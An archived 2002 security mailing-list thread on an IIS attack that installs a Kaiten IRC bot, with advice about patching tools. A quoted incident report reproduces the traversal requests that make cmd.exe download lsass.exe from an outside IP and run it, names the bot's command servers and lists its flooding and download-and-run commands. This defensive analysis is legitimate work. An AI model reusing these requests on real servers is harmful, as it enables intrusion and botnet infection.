OSEC

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From: David LeBlanc (dleblanc_at_microsoft.com)
Date: Thu Sep 26 2002 - 15:24:09 CDT

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    If you want something that automatically installs only patches you
    approve, take a look at
    http://www.microsoft.com/windows2000/windowsupdate/sus/default.asp

    It might help you in your environment.

    > -----Original Message-----
    > From: zeno [mailto:bugtraqcgisecurity.net]
    > Sent: Tuesday, September 24, 2002 2:08 PM
    > To: John Campbell
    > Cc: incidentssecurityfocus.com
    > Subject: Re: new IIS worm? (rcp lsass.exe)
    >
    >
    > >
    > > Windows Update from you-know-who actually does what you
    > describe. I'd
    > > always been leery of it, but tried it out recently when
    > setting up a
    > > W2K test server, and it performed as advertised. It did
    > take several
    > > iterations to get everything updated, owing to various dependencies.
    >
    > When I used windows update it downloaded the patches but
    > didn't install them. I had to manually go through each one.
    > While this isn't a big deal I am looking for something 100
    > percent automated with install of the patches. Perhaps I'm
    > missing something I deal mostly with unix.
    >
    > - zeno
    >
    >
    > >
    > > Regards,
    > >
    > > John Campbell, CISSP, GCWN
    > > Information Security Engineer
    > > Washington School Information Processing Cooperative
    > > (WSIPC)
    > > Everett, Washington, USA
    > >
    > > -----Original Message-----
    > > From: zeno [mailto:bugtraqcgisecurity.net]
    > > Sent: Tuesday, September 24, 2002 11:29 AM
    > > To: Mark Challender
    > > Cc: 'pjesec.dk'; incidentssecurityfocus.com
    > > Subject: Re: new IIS worm? (rcp lsass.exe)
    > >
    > >
    > > >
    > > > Hardening of IIS with the tools available at Microsoft and using
    > > > URLSCAN with the EXE blocking on will stop these attacks.
    > > >
    > > > Patch, patch, patch, recheck the patches and use URLSCAN!
    > >
    > > Does anyone know of a gui windows tool that scans your system and
    > > provides you with a list of needed patches, and then allows you to
    > > select, and have it autodownload and install them? I can't seem to
    > > find one (needed mostly for iis).
    > >
    > > - zenocgisecurity.com
    > >
    > >
    > >
    > > >
    > > > Mark Challender
    > > > Network Administrator
    > > >
    > > > ==================
    > > > Veni, Vidi, Geeki
    > > > ==================
    > > >
    > > >
    > > > -----Original Message-----
    > > > From: pjesec.dk [mailto:pjesec.dk]
    > > > Sent: Monday, September 23, 2002 3:27 AM
    > > > To: incidentssecurityfocus.com
    > > > Subject: Re: new IIS worm? (rcp lsass.exe)
    > > >
    > > >
    > > >
    > > > Christian Mock:
    > > >
    > > > >Then it seems to go after the web servers, sending the following:
    > > >
    > > > >GET
    > > >
    > /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+rcp+-b+64.21.95.7.lp:ls
    > > > as
    > > > s.exe+
    > > > .
    > > > HTTP/1.0..
    > > >
    > > > >and
    > > >
    > > > >GET
    > /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+lsass.exe HTTP/1.0
    > > >
    > > > >I've been able to get hold of that lsass.exe binary
    > (9728 bytes),
    > > > >but
    > >
    > > > >I lack the skills to analyze it; I'll happily mail it to anybody
    > > > >who
    > > > >asks.
    > > >
    > > >
    > > > We have seen this attack from 4 different sources since Sept. 16,
    > > > and
    > > > have informed the owner of 64.21.95.7 and downloaded the
    > lsass.exe for
    > >
    > > > investigation.
    > > >
    > > > Based on the attack rate this is most likely a scripted or manual
    > > > attack, not a worm.
    > > >
    > > > Judging from the embedded string in this compressed binary it
    > > > appears to be an IRC bot based on the kaiten.c code written by
    > > > contemefnet, the author of the Slapper worm :
    > > >
    > > > Kaiten Win32 API version 2002 by contemefnet
    > > >
    > > > The binary contains these domainnames, most likeky IRC
    > servers used
    > > > for controlling the bot:
    > > >
    > > > telsa5.mine.nu (Korea)
    > > > irc.logicfive.net (Taiwan)
    > > > moncredo.shacknet.nu (USA)
    > > > telsacredo.shacknet.nu (USA)
    > > > lar.ath.cx (Taiwan)
    > > >
    > > > The program accepts commands to make various DOS attacks
    > or download
    > > > new version or executables with http:
    > > >
    > > > NOTICE %s :PUSH <target> <port> <secs> = A push flooder
    > > > NOTICE %s :TCP <target> <port> <secs> = A syn flooder
    > > > NOTICE %s :UDP <target> <port> <secs> = A udp flooder
    > > > NOTICE %s :MCON <target> <port> <times> = A connectbomb flooder
    > > > NOTICE %s :NICK <nick> = Changes the nick of the
    > > client
    > > > NOTICE %s :DISABLE <pass> = Disables all
    > packeting from
    > > this
    > > > client
    > > > NOTICE %s :ENABLE <pass> = Enables all
    > packeting from
    > > this
    > > > client
    > > > NOTICE %s :UPDATE <http address> = Downloads a
    > file off the
    > > web and
    > > > updates the client
    > > > NOTICE %s :RUN <http address> = Downloads a
    > file off the
    > > web and
    > > > runs it
    > > > NOTICE %s :GET <http address> = Downloads a
    > file off the
    > > web
    > > > NOTICE %s :ADDSERVER <server> = Adds a server
    > to the list
    > > > NOTICE %s :DELSERVER <server> = Deletes a
    > server from the
    > > list
    > > > NOTICE %s :LISTSERVERS = Lists server
    > on the list
    > > > NOTICE %s :KILL = Kills the client
    > > > NOTICE %s :VERSION = Requests
    > version of client
    > > > NOTICE %s :HELP = Displays this
    > > >
    > > >
    > > > There seems also to be a default account and password in
    > the german
    > > > language included in this specific version of Kaiten.
    > > >
    > > > The IIS attack that tries to inject this Trojan usually
    > has another
    > > > URL with "CONNECT chat.vtm.be:6667". This is an attempt
    > to proxy an
    > > > connection to port 6667(IRC) on chat.vtm.be.
    > > >
    > > >
    > > >
    > > > Peter Jelver
    > > > ...
    > > >
    > > > eSec A/S
    > > >
    > > > http://www.esec.dk
    > > >
    > ......................................................................
    > > > ......
    > > > .
    > > >
    > > > PGP Fingerprint : 47AF FFEC D48F 9C13 0C4F E687 BB8A
    > 128F D85C A7D7
    > > >
    > > >
    > > >
    > > >
    > > >
    > > >
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    > > >
    > >
    > >
    > >
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    > >
    >
    >
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